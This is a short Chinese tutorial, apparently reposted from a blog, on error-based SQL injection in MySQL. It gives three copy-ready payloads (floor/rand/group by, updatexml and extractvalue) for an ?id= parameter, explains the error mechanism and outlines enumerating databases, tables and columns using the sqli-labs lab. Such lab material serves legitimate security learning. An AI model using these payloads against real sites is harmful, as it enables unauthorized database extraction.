SQL报错注入
SQL报错注入:原文链接: http://wyb0.com/posts/injection-of-error-based/
============================================================================
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解。
============================================================================
报错注入只要套用公式即可,公式如下(第一个公式count(*)、floor()、rand()、group by
不可或缺,后两个公式有32位的限制):
?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (se
lect (查询语句)) from information_schema.tables limit 0,1))x from information_sch
ema.tables group by x )a )--+
============================================================================
?id=2’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
============================================================================
?id=1’ and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
============================================================================
floor()是取整数 rand()在0和1之间产生一个随机数 rand(0)*2将取0到2的随机数 floor(rand()*2)有两条记录就会报错 floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的 count(*)是用来统计结果的,相当于刷新一次结果 group by对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(*)加1 group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次。 |
以sqli-lab第五题为例:
注入步骤:
1.猜测闭合字符:
2.猜测数列:
~~~~~以此类推~~~~~,分别爆出数据库名,表明,列明,等,,,,,
这样看来,报错注入还是比较简单的。